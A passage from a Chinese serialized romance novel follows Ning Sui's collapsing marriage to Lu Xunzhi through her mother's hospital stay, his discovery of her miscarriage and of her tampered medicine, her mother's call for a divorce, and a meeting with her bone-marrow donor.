如果报告是真的,孩子是陆勋之的,婚礼也办了。 那他们跟真做了夫妻又有什么区别? 陆勋之却还把她禁锢在景园,这到底算什么? 宁穗心里特别难受,是为自己所受的委屈而难过。 她死死咬住下唇,让自己冷静下来。 先给唐佳笑发了信息过去,问唐母的情况。 对方说,手术很成功,已经转普通病房休养。 确定唐母没事,宁穗才给陆治之打了电话。 对方接的很快,声音透着轻快,“嫂子,你放心,我哥已经交代过了,刚给我打了电话,我已经把结果告诉他了。阿姨没事,很快就能好起来。” 得到陆治之肯定的答复,宁穗松了一口气,“那后续还需要再做手术吗?” “不用。”陆治之回答得干脆,“只需要静养就行。” 宁穗抿唇,顿了顿又问,“治之,我能拜托你一件事吗?” “嫂子,你说。” “不管我和陆勋之怎么样,如果唐佳笑妈妈需要治疗,你都会伸出援手的对吗?” 陆治之明显懵了懵,“嫂子,我哥有时候做事是有点不过脑子,但是他对你是真心的。你别多想。” 那场世纪婚礼,陆治之不可能不知道。 现在说这种所谓的真心,实在可笑。 但是宁穗没说什么,她不能要求外人理解她的心情,毕竟人家才是一家人。 挂断了电话,宁穗心里还是很难受,她快要爆炸了。 在她独自承受失去孩子的痛苦时,陆勋之却陪着别的女人安胎,办婚礼。 窒息感快要剐了她,她掀开被子下床,几乎是冲进了书房。 陆勋之正在打电话,看到宁穗,眸光愣了愣,随即快速说了几句英语,挂断了电话。 他在打越洋电话,给谁? 是在交代宋姜和孩子的起居吗? 宁穗垂在身侧的手指蜷起,怔怔看着他。 陆勋之看着她单薄的睡衣,目光向下,竟然还光着脚。 他眉心微拧,起身走过去,将她抱起,放在沙发上,拉了羊绒毯盖住她。 这个毯子,还是宁穗之前留在这的。 以前他要熬夜办公,宁穗总是各种理由要进书房,但她也不说话不闹。 就安安静静坐在这看书,只是单纯陪着他。 有时候冷,她就会抱着毯子过来盖着。 等得太晚,她甚至会睡着,最后让陆勋之抱她回房。 想到往日的亲密,陆勋之的眸光软了软,“有事找我?” 宁穗直愣愣地看着他,声音硬邦邦的,“陆勋之,我就问一次,你和宋姜,到底怎么回事?” 第63章 在你眼里,我就是这种卑鄙小 陆勋之的眼眸里闪过一丝异样。 他唇角抿成直线,许久才开口,“宁穗,宋姜的孩子差点保不住,她这个孩子来之不易,要是没了……” 陆勋之的话头顿住,仿佛不敢想象,要是这个孩子没了,会是多么的难受。 不,他不能让这个孩子没了。 他握住宁穗的手,轻声说:“我只是完成某人的心愿。” 宁穗耳边传来碎裂的声音,是她的心。 她心里早就有了答案,可听到陆勋之亲口说的时候,还是觉得心好痛。 她爱了一整个青春的男人,现在终究是别人的了。 她甚至没有办法冷静思考,这个某人,到底是宋姜,还是另有其人。 可是凭什么呢? 她和陆勋之都没有一个完整的婚礼,而他已经跟别的女人完成了世纪之约。 那她又算什么? 她的孩子,又算什么? 宁穗自嘲的扯唇,是,她就不该有多期待。 男人的手机再次响起,他看了宁穗两眼才起身去接。 对方说了什么,陆勋之回眸看了宁穗。 宁穗垂着眸子,不知道在想什么。 但陆勋之一直悬着心缓缓落回。 至少她肯问,那她就还是在乎的。 只要对他有一点在乎,就好。 陆勋之打完电话,抱起宁穗回房间,“你最近瘦了很多,没好好吃饭吗?从明天开始,我会看着你吃饭。” 宁穗依旧垂着眸子,没什么表情。 与其说是乖巧,更像是了无生气。 陆勋之把她放在床上,盖好被子,“好好休息。” 宁穗似是想到什么抬眼看向他,一把拉住他的手腕。 她的手冰凉,陆勋之眉心微皱,他反手握住她的手给她保暖。 “有什么要说的?”陆勋之问。 宁穗眼睫颤动,“别再找笑笑的麻烦。” 陆勋之一愣,“不是我。” 宁穗眼底无波,根本不相信他的说辞。 陆勋之失笑,“在你眼里,我就是这种卑鄙小人?” 一出事,唐桓就查到,那些人是三叔那边派来的。 陆勋之本来想让唐桓给唐佳笑施压,但是最后还是作罢。 想到宁穗会因为这个不高兴,他没有吩咐唐桓继续这么做。 可是现在,他的心慈手软换来什么? 宁穗还是不相信。 心底一股莫名的怒火冲上来,可是看到宁穗苍白瘦削的样子,他还是心软了。 “今天的事,不是我做的。我以后也不会这么做。”陆勋之帮她将碎发别的耳后,“可是你不能再藏起来,听到没?” 宁穗敛起眸子,微微点头。 陆勋之很满意她的乖顺,让他有种回到过去的错觉。 他轻吻宁穗的额头,将人搂进怀里,下巴轻轻蹭她的发顶,“我知道我没给你过生日,你很不开心,我会弥补的。宁穗,你不是想要个孩子吗?等你身体养好了,我们就要一个,好不好?陆太太的位置,只会是你的,你不要多想。” 宁穗表情麻木,“你要关我多久?” 陆勋之僵硬了一瞬,抬起她的下巴,看着她,“我没有要关着你,你只要肯住在景园,你想做什么,我都不会干涉。你的作品不是要巡展吗?你可以去找桑甜准备,你想做什么,都可以。” 宁穗愣住,她本以为陆勋之会禁锢她,可是他并没有这个意思。 她的眸光放松了一下,但也没什么好脸色,“嗯,我知道了。” “我给你派了一个司机。这样出入方便点。” 宁穗轻笑,“还是找人看着我。” 陆勋之抿唇,“你有驾照,你想自己开车也可以。司机不是非要跟着你。” 宁穗不可置信地看向他,“真的不限制我的自由?” 陆勋之莫名笑了,“你是我太太,又不是我的奴隶,为什么要限制自由?” 宁穗有些看不懂陆勋之。 既然不是禁锢她,非要她回来做什么。 但她这会儿脑袋都是昏的,没想那么多,嗯了一声,翻身睡了。 …… 宁穗第二天是被一通陌生电话吵醒的。 她本来想挂断的,但是一看IP属地,还是接通。 那边传来焦急的声音,“是宁穗吗?我是你妈妈的同事,她在学校晕倒了……” 宁穗的耳边瞬间传来嗡鸣声,后边的话她都没听清,反复问了几遍母亲在的医院,她趔趄起身,脚下一软,摔倒在地。 膝盖碰到地面,撞得生疼,她流出生理性的泪水。 一个力道抓住她,将她抱起,“怎么了?慌慌张张的。” 宁穗眼泪断了线一样往外冒。 陆勋之拧眉,“说话。” “我妈,我妈出事了。”宁穗声音哽得断断续续。 陆勋之也愣住了,随即打了电话。 转身的时候,宁穗已经穿戴好准备出门。 陆勋之拉住她的胳膊,“你去哪儿?” 宁穗不满,“去看我妈。” “我打电话了,一会儿就会知道她的情况。” 宁穗愣住,“你什么意思?那是我妈。” 她妈妈病了,她连去看看都不行吗? 陆勋之抿唇,还算冷静解释,“我的意思是,你现在过去也要几个小时,我问清楚情况,实在不行就接到陆家的医院治。” 虽然他说得在理,但是宁穗心里还是不舒服。 她现在就要去看看妈妈。 她甩开陆勋之的手,转身要往外走。 可没走出去几步,腹部传来刺痛,让她膝盖一软,又跪了下去。 在触地的一瞬间,大手捞住她的腰身,将她扶起来。 “别闹脾气。你自己身子都这么虚——宁穗!”陆勋之的声音仿佛隔了一层水膜,宁穗听不真切。 她的意识逐渐模糊。 …… “出血有些严重,已经做了检查,一会儿就会有结果。” “好,辛苦。” “别担心,嫂子不会有事的。” 两人说话的声音压得很低,但宁穗还是听到了一些,她恍惚醒来,发现在即躺在医院的VIP病房里。 陆勋之和陆治之站在一旁正在说话。 陆勋之先一步觉察到她的动静,赶紧上前扶她,帮她在后背垫上枕头。 “你有点贫血。”陆勋之解释,“你最近来例假,流血量也这么大吗?” 第64章 我们不会再有孩子 宁穗眼睫颤动,抿唇没回答,而是问,“我妈怎么样了?” 陆勋之看向陆治之。 对方赶紧说:“放心吧,嫂子,阿姨有点轻微的脑溢血,幸亏我哥及时让医疗飞机,送我过去治疗,我已经处理好了。只不过现在她还在昏睡,等过几个小时,你就能去看她了。” 宁穗点点头,陆治之的医术,她是知道的。 她身体透支得厉害,现在多说几句话,都觉得累,说完她又闭上眼睛。 脚步声远去,她以为两人离开,手上却落下温热的手掌,“反正住院了,你干脆做个全身检查。” 陆勋之的声音透着商量。 之前陆治之就提醒过他,只不过后来发生了太多事,一再耽搁下来。 可宁穗已经在他面前昏倒太多次了。 他不得不提起重视。 宁穗的眼睫颤动,她的身体一旦体检,一定会被陆勋之看出问题。 “再说吧,我很累,不想折腾。”宁穗不动声色地收回手,翻身躺下。 陆勋之看着空空的手心,唇角抿成直线,“那你先休息。” 他抬手摸了摸宁穗的发顶,“你放心,妈会没事的。” 宁穗顿了顿,“谢谢。” 不管怎么说,宁安静能被接到这来,最起码肯定能好起来。 她还是要谢谢陆勋之地。 身后传来陆勋之的脚步声,随即是房门被关上的声音。 宁穗松了一口气。 她不想跟陆勋之在一起,欠他的人情总会有些不舒服。 缓了一会儿,宁穗起身,想去看看宁安静,她裹上外套拉开门。 却看到套房的客厅里,陆勋之正坐在沙发上看文件。 听到动静,他看过来,与她撞上视线。 “需要什么跟我说就行。”陆勋之放下文件,赶紧起身过来,直接抱起她,要往内屋走。 宁穗抓住他的衬衣,“我想去看看我妈。” 陆勋之顿了顿,点头说:“好,我带你去。” 宁穗愣住,没想到陆勋之会同意,更没想到他还给她准备了轮椅,还细心地给她盖上腿。 这个毯子,是她放在书房的那条,很喜欢。 是结婚第二年,陆勋之送给她的圣诞礼物。 其实结婚这几年,所有的礼物,基本上都是唐桓给选的。 宁穗知道。 但是刚结婚的时候,宁穗不信邪啊。 她就是要缠着陆勋之。 于是那年圣诞,她拉着陆勋之去了商场,挑选了这条毯子。 并不贵重,但是她这些年一直在用。 那种温暖舒服的感觉,总让她幻想,是陆勋之给的。 可她这回搬走的时候没拿。 因为她已经不需要这种虚假的温暖。 宁穗回神的时候,已经被陆勋之推到宁安静的病房。 宁安静躺在床上,紧紧闭着眼睛,眉心微微皱着,脸色很不好。 她已经很久没有见过宁安静。 其实几年前,宁安静就觉察到她跟陆勋之过得并不好,曾经劝过她离婚。 后来,宁穗就不敢去见她了。 生怕母女俩会再吵架。 这一别,再见面,两人都病了。 宁穗眼圈瞬间红了,放在腿上的手,轻轻颤抖。 如果她不在了,母亲怎么办? 会不会难过得再犯病? 想到这个,宁穗的心就痛得快要碎掉。 都怪她,这么多年到底在坚持什么? 为了一个不爱自己的男人,她丢掉了自己的尊严和健康。 还差点弄丢了母亲。 宁穗的眼泪大颗大颗地往下掉,她不想自己这种负面的情绪影响到母亲,她转着轮椅想要走。 但是手上没力气。 男人觉察到她的异样,赶紧推了她出去。 “别哭了,妈没事,治之会治好她。”陆勋之蹲在她身前,用真丝手帕,耐心地擦拭她眼角的泪痕。 宁穗眼神闪烁,她知道,要不是陆勋之及时让陆治之去救她的母亲。 没准会发生什么事。 她扬起眸子看向陆勋之,“谢谢你。” 男人轻扯唇角,“那也是我妈,都是我应该做的。” 宁穗愣住,陆勋之知道宁安静不喜欢她,结婚后,几乎没有跟她回过娘家。 她也很少在陆勋之面前提起宁安静的事。 就是不想闹不愉快。 听到陆勋之这么亲切地称呼宁安静,还是第一次。 “妈年龄也大了,身体又不好。干脆让她办病退,接到身边来照顾吧。”陆勋之突然提议。 宁穗怔了怔,她也想,但是宁安静不喜欢陆勋之,还希望他们离婚。 接过来干什么?吵架吗? 宁穗摇头,“再说吧。我累了,我想回去休息。” “好,我送你回去。” 陆勋之送宁穗回了房间,抱她躺下,转身走了。 宁穗闭上眼,她现在对陆勋之的行踪完全不敢兴趣。 可过了一分钟,陆勋之又折回来,手里多了一盆水,还有毛巾。 宁穗怔怔看着他。 男人拧了毛巾,给宁穗擦脸,擦手。 “治之说你现在不能洗澡,我帮你擦擦,将就一下,等好了再说。” 宁穗有些恍惚,陆勋之怎么会这么温柔。 她懵懵地抬手,摸陆勋之的额头,“你发烧了?” 不然怎么会这么反常。 陆勋之脸色有些不自然,他看到宁穗虚成这样,心里是有些愧疚的,他没说什么。 起身去放下盆子又回来。 他拉开被子躺上去,将宁穗抱在怀里,“宁穗,等你身体好起来,我们要个孩子吧。” 宁穗僵住,她唇角微微抽动,勉强压下心里的那股难受,“我们不会有孩子。” 这句话像一把刀一样,剌在陆勋之的心口上,划开细长的口子,又疼又痒。 他鼻尖凑到宁穗耳边,“你不想要,那就等一等。不着急。” 宁穗唇角抿成直线。 陆勋之,我和你,不会有孩子了,一辈子都不会有了。 “我知道这件事,你很生气,但是我和宋姜不会再有交集,那场婚礼之后,我和她就是陌路。我们重新开始,好不好?” 怀里的人,没有吭声。 陆勋之垂眸看过去。 他的怀抱很暖,宁穗昏昏沉沉地睡了过去。 气息很低很稳。 陆勋之无奈扯唇,在她的额头印下一吻,帮她盖好了被子。 他轻手轻脚地起身离开,房门关上,宁穗的眼睛缓缓睁开。 门外,陆勋之接到陆治之的电话。 “哥,有个事,需要你来一下。是……关于嫂子的检查结果。” 第65章 陆勋之知道宁穗流产 宁穗起身,又去了宁安静的病房。 宁安静还在睡着,按照陆治之的说法,她大概要明早才能醒过来。 看着宁安静两鬓冒出来的丝丝白发,宁穗红了眼睛。 这些年,她忽略了母亲,而自己也过得一塌糊涂。 她无声流泪,好半天,才从那种窒息的情绪中脱离出来。 她帮宁安静掖好被角,轻手轻脚地走出去。 可她也不想回自己的病房,陆勋之没准还会回去。 于是她干脆在套间的小客厅,蜷缩在沙发上。 不知不觉,她就睡着了。 不知道睡了多久,脸颊上微微泛凉的触感传来,宁穗缓缓睁开眼,入目是陆勋之的阴沉的脸。 他的手不知道为什么这么凉,正抚在她脸上。 她怔了怔,以为自己在做梦,翻身想继续睡,下巴却被人掐住转过去。 宁穗这才彻底醒过来,愣愣地看着陆勋之。 男人眼底的情绪很复杂,有怨恨,有心疼,还有化不开的异样,让宁穗看不懂。 她微微拧眉推开他的手,刚要起身,男人直接将她拉进怀抱。 宁穗想要挣脱,却感受到陆勋之正在微微发抖,她愣住,“你干什么?” “为什么不告诉我?”陆勋之的声音沙哑,像是被砂纸擦过一样。 宁穗茫然,“什么?” “你怀孕了……”陆勋之嗓音更干涩了几分,好像说出这四个字,耗尽了他所有的力气。 宁穗僵住。 知道了啊。 还是知道了呢。 也对,她失血严重,陆勋之肯定会让人给她做检查。 这很容易查出来的。 宁穗抿唇,艰涩开口,“联系不上你。” 那天说好给她过生日的,结果陆勋之失联。 再看到他的消息,他竟然跟宋姜在举行婚礼。 陆勋之深吸一口气,似是在找回力气,“如果……如果我那天在的话,你会改变——” “不会。”宁穗一口否定他的假想,推开他,冷眼看着他,“不管你那天在不在,结果都是一样的。” 她不可能留下这个孩子。 陆勋之的眼底瞬间集聚起风暴,和淡淡的湿气。 “宁穗,你凭什么!那也是我的孩子!” 她怎么能这么狠心! 说出这么无情的话。 “你在乎吗?”宁穗好笑,“比起这个孩子,你更在乎的是宋姜肚子里的那个。” “这是我和你的事,你总是扯上宋姜做什么?”陆勋之的声音因为压抑而变形。 宁穗紧紧抿唇。 是啊,他的宝贝宋姜,怎么能被人这么非议。 宁穗扯唇冷笑,“我说过,我不会跟你生孩子,我们以后都不会有。陆勋之,既然你已经知道了,那就离婚吧。痛快点,像个男人一样。” 她不想说狠话,可是她的心也是痛的。 那是她第一个孩子啊,就这么没了。 她的心像是被剁碎了一样。 陆勋之又凭什么来质问她? 本以为她说出这样的话,陆勋之会暴跳如雷,或者甩门而去。 可眼前的男人身形晃了晃,他紧紧闭上眼睛,垂下头。 头发丝也不似往常一样一丝不苟,而是凌乱地落下来。 看上去落魄又狼狈,很是可怜。 就连他身上的衬衣,也满是褶皱,早就没了总裁的精致。 空气凝固了一瞬,粘稠得让人窒息。 陆勋之的声音似是从遥远的地方飘来,像只幽魂,“没关系,宁穗,我们还会有孩子,还会有的。” 他像是在自言自语,又像是在许愿。 随即他轻轻扯唇笑笑,抬手抚上宁穗的脸颊,手掌比刚才还要冰,让宁穗浑身颤抖了一下。 “会有的。等你养好身体,嗯?” 宁穗的手指尖掐进掌心,疼痛感让她清醒了几分。 可越是清醒,越是心疼。 她可能再也不能有孩子了。 眼泪不受控地顺着她的脸颊流下,落在陆勋之的手背上。 烫在他的心口上。 陆勋之的手指颤动。 宁穗轻挽唇,却透着无限的苦涩,“陆勋之,我要是不能生呢?” 陆家的长孙,怎么可能会有一个不会生孩子的妻子呢? 到时候,就算是老太太,恐怕都会不同意的。 陆勋之的瞳孔微缩,薄唇微张,轻轻颤抖。 “宁穗!你是要挖我的心肝,才够吗?” “穗穗……” 宁穗和陆勋之同时一愣,宁穗倏地起身,踉跄地冲进房间。 宁安静躺在床上,微微撑着眸子,看到宁穗的时候,眼神还有一瞬间的恍惚,才慢慢聚焦。 她缓缓伸手,手指尖都是抖的。 宁穗倏地红了眼眶,扑到床边,脚下有些软,直接跪在窗前,小心地握住宁安静的手。 “妈,妈妈,我在呢。穗穗在呢。” 宁安静表情有些麻木,但一行清泪,从眼角滑落。 陆勋之收回视线,赶紧去叫了陆治之过来。 陆治之检查完,安慰宁穗,“阿姨没事。” 宁穗却担心,“可她醒了没几分钟又昏迷了。” “嫂子,阿姨身体还是太虚弱了,所以才会昏睡。没事的,明天早上应该就会好。” 宁穗放下心,点头,她想起身,可刚才膝盖磕到,很疼。 疼得她眼前一黑,一个力道扶住她,她才勉强站住。 她不动声色地推开陆勋之的手,拉了椅子坐在床边。 陆治之对陆勋之使了眼色,两人出去。 “哥,这是妇科的主任给的检查结论。你看看。” 陆勋之接过那张纸,看到上面的字眼,手颤抖起来,纸张都跟着颤动。 子宫内膜过薄,受孕困难。 “哥!哥!”陆治之一把扶住陆勋之。 男人扶额,靠着陆治之才勉强站住,“为什么,到底为什么?” 陆治之叹气,“主任说很多原因,可能是嫂子身体本来就虚,也可能用药有误,要想知道原因,要仔细查。” 用药? 陆勋之猛地想起什么,“唐桓!” “在。陆总,您说。” “上次我让你查的药呢?把成分单送给主任看看。” “是。” 唐桓头上立刻出了一层冷汗,上次陆勋之让他去景园拿那些剩下的药。 都是宁穗之前吃的。 查过,药物成分上,没什么问题,都是补药。 所以后来陆勋之也没说什么。 现在看来,难道那些药有问题? 第66章 亲子鉴定报告是真的 唐桓去了半小时就回来了。 脸色白了几分。 “陆总,那些药……主任说,看上去是没什么问题,但是成分配比,明显是动过手脚。长期喝这种药,别说怀孕了,恐怕都很难要孩子了。” 唐桓的声音越来越小。 陆勋之的脸色则一寸寸沉下去。 病房内,宁穗一动不动看着宁安静。 口袋里的手机震动。 宁穗拿出来看,是裴斯年发过来的信息,【鉴定报告是真的。】 宁穗僵住。 鉴定报告是真的,所以,宋姜的孩子,就是陆勋之的。 宁穗冷不丁笑出来。 所以刚才陆勋之在跟她装什么深情呢? 悼念她和他的孩子,更像是笑话。 喉咙里涌上来一股甜腥味,宁穗的心口像是被压了一块大石头。 裴斯年的电话在这时候打进来。 宁穗看了一眼宁安静走出去接通电话,开口声音哑得不像话,“裴医生。” 那头顿了两秒,语气沉重,“宁穗,别想那么多。你现在最重要的就是赶紧手术,好好活下去。” 宁穗的眼眶滚烫,她快速眨动眼睛才勉强压下眼泪,“好,我知道。” “你什么时候有时间?捐献者说想见见你。” 宁穗愣了愣,一般情况下,捐献者是不会跟被捐献者见面。 保护彼此的隐私,也避免产生什么问题。 但既然对方想见,宁穗当然不会拒绝,“好,这两天可能不行,我妈妈病了。” 裴斯年,“怎么了?没事吧?” “陆治之帮我妈做了手术,就是要休养。”宁穗说。 “陆治之是这方面的专家,他给你妈妈做手术,那肯定没事的。” “谢谢裴医生。” 两人约定了后天跟捐献者见面,便挂断了电话。 宁穗调出那份鉴定报告,保存下来,然后把发来信息的号码拉黑。 这一晚上陆勋之都没再出现。 第二天一早,她早早醒来,先去查看宁安静的情况,她还在昏睡。 宁穗沉不住气了,去找陆治之。 刚一开门,陆治之已经在门口。 “嫂子,我正要来看看阿姨。” “我妈还是没醒。”宁穗很紧张,赶紧给陆治之让开空间,让他进来。 陆治之微微颔首,进来给宁安静检查,“没事,嫂子别担心。阿姨还是身体太虚弱了,” 宁穗的心放回肚子里,小心地摸了下宁安静的手。 “嫂子,我哥已经吩咐过来,所有的医疗资源会优先阿姨这边。奶奶那边也已经知道了,但是她身体不好不能亲自过来。” 宁穗垂了眸子,“谢谢。” 她很清楚,陆勋之对宁安静好,完全是因为看在陆老太太的面子上。 所以她心里还是感激奶奶。 可是想到宋姜和孩子,宁穗的心就像被一千根针扎一样。 一家子人,都不把她当人。 这个家,她就一点留恋也没有了。 “嫂子,你身体也需要休息,别这么熬了,也去休息吧。我安排了护工,你放心。” 当年宁安静对陆老太太有救命之恩。 她想嫁给陆勋之都是陆老太太拍板,自然也不会慢待宁安静。 宁穗守了一夜,真的很累,也没坚持,谢过陆治之,她便离开,回到自己的病房。 她一沾枕头就睡着了。 这一觉她睡得很沉,不知道睡了多久。 她感觉到有人抱着她的手,还有湿漉漉的感觉。 耳边还不时传来细细的低语,像是在说对不起。 可她的眼睛就像是被胶水粘住,沉得完全睁不开,便又沉沉睡去。 等她再次醒来,怔怔看向窗外,天色居然黑下来。 她睡了一白天! 愣了几秒,她蹭的坐起来,掀开被子下床,却看到沙发上的身影愣住。 陆勋之从平板上抬起眼看过来,随即放下手中的东西,迈步过来,将她又按坐回去。 “你想去看妈?她已经醒了,治之检查过,已经没事了。” 陆勋之的声音很温柔,是前所未有的体贴。 曾经宁穗多么想要这些,可现在真得到了,她却觉得很可笑。 迟到的情深比草贱。 宁穗没看他一眼,拉了衣服裹上,往门外走。 身后的男人顿了一下,还是跟了上来。 宁穗完全没管他,自顾自去了宁安静的房间。 刘姨正在给宁安静喂稀粥,两人听到动静同时看过来。 宁安静看到宁穗愣了愣,随即红了眼眶,抿唇笑着,伸出手。 宁穗的鼻尖酸胀,快不过去,拉住宁安静的手。 刘姨赶紧起身,给两人留出空间。 宁穗很轻地趴在宁安静的怀里,搂住了她的腰身。 这么久没见,宁安静竟然受了这么多。 宁安静轻轻摸宁穗的发顶,却说:“穗穗瘦了,是不是没照顾好自己。” 宁穗的眼泪呼的涌出来,带着哭腔,“没有,我在减肥。” 这句话,怎么听都像是谎话。 宁安静没揭穿她,而是看向跟在宁穗身后进来的陆勋之。 开口便丢出重磅炸弹,将病房里的温馨氛围炸的粉碎。 “勋之,我知道你不喜欢我们家穗穗,是我们高攀了这么多年。也是该还给你自由的时候了。我会亲自去跟老太太赔罪。你和穗穗,明天就去领了离婚证吧。” 整个房间落针可闻。 就连宁穗都僵硬了一瞬,随即缓缓直起身,看向宁安静。 对方脸色不好,但嘴角挂着淡淡的笑意,眼睛里也是慈爱,跟看向陆勋之的目光完全不同。 “家里虽然就我们母女俩,但是妈妈给你撑腰。”宁安静笑着说。 宁穗再也绷不住,扑进宁安静怀里,低声呜咽。 像个无助的孩子。 那哭声压抑又可怜。 就连一旁的刘姨,都跟着抹了两把眼泪。 但刘姨作为老太太的身边人,是带着任务来的。 她上前恭敬地说:“宁老师,勋之少爷和穗穗之间是有误会,但是穗穗在我家绝对没有受委屈,老太太也不允许的。老太太说了,她保证,以后穗穗在陆家,绝对没人敢动她一根手指。” 宁安静对刘姨还是很客气的,笑了笑,“谢谢陆老夫人抬爱,但是我家宁穗实在配不上陆家太太的身份,就这样吧。我当这个坏人,让他们离。” 话都说到这个份上,刘姨就算是代替老太太来传话,也不敢再劝了。 一旁沉默的陆勋之突然开口,“我不离,宁穗说过要做一辈子陆太太,她要说到做到。” 第67章 你们之间就是完了 陆勋之垂着眸子,话说得不容反抗。 让气氛一下子僵硬下来。 宁安静脸色沉下来,“穗穗,你送刘姨回去吧,我跟勋之说两句。” 宁穗愣了愣,但不敢忤逆宁安静的安排,送了刘姨出去。 房门关上,宁安静冷淡道,“当初你俩结婚,我就不同意。但是宁穗喜欢你,我没办法,顺了她的意。这五年她过得好不好,我不用看也知道。” 宁安静还很虚弱,缓了口气,继续说:“陆勋之,我知道,你这样的身份,被我们穗穗甩了,你面子上过不去。但是这五年来,你对外就没承认过宁穗,又谈什么面子有无?她已经二十六了,还算年轻,将来她还能找到一个喜欢她的人。你何必这么拖着她?” 陆勋之勾唇冷笑,“宁穗是跟您说什么了?” 宁安静一愣,茫然看向他。 “她心里一直装着别人,就等着我跟离婚是不是?妈,我不会同意的。” 宁安静先是被他的理由一震,但听到他叫自己妈,还是愣了愣。 她深吸一口气,“我了解宁穗,她连你的孩子都不愿意留,你们之间就是完了。” 当初宁穗一心要嫁给陆勋之,即便宁安静不同意,两人还大吵一架。 那是多么的坚持。 但是现在,宁穗那么想要组建自己的小家庭,连自己曾经最爱的人的孩子都不要。 那只能说明宁穗已经心死了。 陆勋之绝顶聪明,怎么可能想不到。 他脸色沉沉,似乎根本没听进去,“妈,治之说您身体还需要休养,别操心了,安心养病。我和宁穗的事,我们自己会处理。” “你!” 说完,他微微颔首,推门而出。 陆勋之走出病房,看到宁穗坐在门口,刘姨也没有走。 他抿唇上前,“宁穗……” 宁穗只淡淡扫了他一眼,便绕过他走进病房,根本没有要跟他说话的意思。 陆勋之怔在原地,手指蜷缩起来。 刘姨上前,轻叹一声,“少爷,宁老师现在气头上,等她缓缓再说。既然你不想离婚,那就对穗穗上心一点。” 陆勋之垂着眸子淡淡应声。 刘姨,“哦,对了,我听说穗穗是因为出血进医院的,没事吧?” 陆勋之眼底闪过一丝暗芒,“没事,她来例假了。” 刘姨点头,“那就好,要是穗穗身体有什么不舒服,你一定要告诉老夫人。你俩也结婚这么多年了,早点要个孩子是正事。” 陆勋之唇角抿成直线,没有回应这句话,刘姨只当他心情不好,确认他听到了,就离开了。 宁穗进了病房,看到宁安静怔怔望着自己的手。 “妈,你没事吧?”宁穗很担心。 陆勋之说话不好听,她是无所谓的,但是宁安静可能受不了。 宁安静似是才听到她的声音,缓缓掀起眼皮看向她。 啪! 宁穗的胳膊挨了一巴掌,但是宁安静的身体太虚,这一下并没有什么力度,也并不痛。 但是宁穗还是红了眼睛,紧紧咬住下唇。 “当初让你不要往火坑跳,就是不听。”宁安静哽咽颤抖,眼底是不甘心和心疼。 她使劲闭了一下眼睛,再睁开,伸手去拉宁穗坐在身边,轻轻搓她的胳膊。 “小月子也要认真做,不然会留下病根。”宁安静声音温和下来。 终究是不忍心看着宁穗受苦。 “你虽然不是我亲生的,但是我也不想看到你受苦。”宁安静叹了口气,“你跟我说实话,你是不是真的不想跟陆勋之过了?” 宁穗垂着眸子,下唇咬破,甜腥味在口腔里蔓延。 让她更理智了几分,“不想过了。我已经提过很多次离婚,是陆勋之不同意。” 宁安静不理解,“他为什么不同意?” 宁穗摇头,“不知道。” 宁安静想不到别的理由,但是也只有这一个原因,“他是……舍不得你?” 宁穗心里苦笑,舍不得她? 怎么可能! 陆勋之要真的舍不得宁穗,又怎么可能跟宋姜生孩子呢? 但宁穗没办法跟宁安静说这些。 难道要说,自己爱了好几年的男人,竟然已经跟别的女人暗胎珠结,不跟她离婚就是为了享齐人之福? 她怕宁安静被她气得再晕倒一次。 宁穗扯扯唇,“妈,你别想那么多了,我这么大人,我自己会处理的。你就好好休息。我不能没有你。” 宁安静的眼圈倏地红了。 宁穗是孤儿,宁安静领养她的时候,都已经好几岁了。 长得好看,但是性格比较倔。 所以一直没有人领养。 但宁安静带走了她,给了她一个家。 宁穗来到新家,很乖。 有一次宁穗发烧了,都不敢告诉宁安静。 后来在学校晕倒,老师给宁安静打电话,她才知道。 宁安静吓坏了,抱着她去医院,守了一夜。 宁穗醒来就哭了,说:“妈妈,对不起,你别不要我。” 宁安静懵了,一边哄她一边答应不会不要她。 后来她才知道,原来宁穗的好朋友唐佳笑,以前被领养过一次,就因为生病难带,又被送回来。 宁穗也是因为这个,一直拖着不敢被领养走。 得到之后再失去,还不如一开始就没有得到过。 宁安静心疼宁穗,她现在对陆勋之的感情,大概就是这种。 她甚至有些自责,应该一开始就强硬一点,不让宁穗嫁给陆勋之。 至少从来没有得到过,宁穗也许,不会太难过。 …… 宁安静的预后不错,住了半个月时间,就完全恢复了。 宁穗想留宁安静在身边,但是宁安静坚持要回去,说自己还要回去上课。 宁穗没办法,只能送她回了海城,顺便见了裴斯年。 “你既然来了,那就跟捐献人见一面。那边说了好几次想见见你。” 宁穗点头,“那麻烦裴医生安排。” 当天下午,宁穗就见到了自己的骨髓捐献者,方娟。 对方见到宁穗的时候,还有些不好意思,“宁小姐,你好,我其实挺喜欢你的作品的。知道是给你捐献骨髓之后,我就想跟你见一面,要是可以的话,你能帮我签个名吗?” 宁穗没想到,捐献者竟然是自己的粉丝,听方娟说,是在她上大学的时候,有一次巡展,对方看到了自己的作品。 第68章 三十七分钟 宁穗觉得挺感动的,毕竟捐献骨髓虽然危险性不大,但也不是完全没有危险。 “方娟,谢谢你的喜欢,我送一件作品吧。”宁穗拿出自己的相册让对方挑,“当然,你要是这些都不喜欢,我也可以给你定制一个。” 方娟没想到宁穗这么好说话,开心地挑选,最后选了一个最贵的。 这是宁穗前阵子做展览的作品时,一起做的。 但是因为主题不是很贴合,虽然喜欢,但宁穗还是没送展,就这么留下来,打算放在唐佳笑的店里卖。 市场价保守估计,能卖个几万块。 但是宁穗看方娟喜欢,一点都没犹豫,“好,那你给我个地址,我回去就给你寄。” 方娟笑得很开心,“谢谢宁小姐。我、我可以叫你穗穗姐吗?” 方娟比宁穗小两岁,人看上去很壮实,脸红扑扑的,一看就很健康。 宁穗看着这样生机勃勃的姑娘,自己也被她的情绪感染,“当然可以了。” 两人互留了联系方式,然后就分开了。 方娟走到角落,去推自己的电动小摩托,刚打开锁,手机响起。 看了一眼来点,方娟眉心皱起,“喂,是,见过了。已经按你说的做了。嗯,行,但是你要先给我付一半的费用。好,就这样。” …… 宁穗回御城的路上心情总算是开朗了一些。 大概因为宁安静的身体好了。 再加上,她看到方娟,仿佛已经看到自己生还的希望。 鼻尖一酸,她的眼眶热了热。 车子刚开到她的出租房小区门口,宁穗的手机响了,是王习的电话。 “穗穗,我在师母这,你方便来一下吗?有点事,要跟你商量。” 王习的语气很严肃,宁穗还是第一次听到他这个语气说话,下意识地觉察到,应该是出事了。 “好,我马上来。” 宁穗刚下车,又拦住要走的出租车,上了车,报了师母家的地址。 不远处,保镖看到宁穗又上车走了,有些懵,赶紧给唐桓打电话。 “唐助理,太太回来了,但是又走了。怎么办?” 唐桓奉陆勋之的指令,让保镖们在这里等着宁穗。 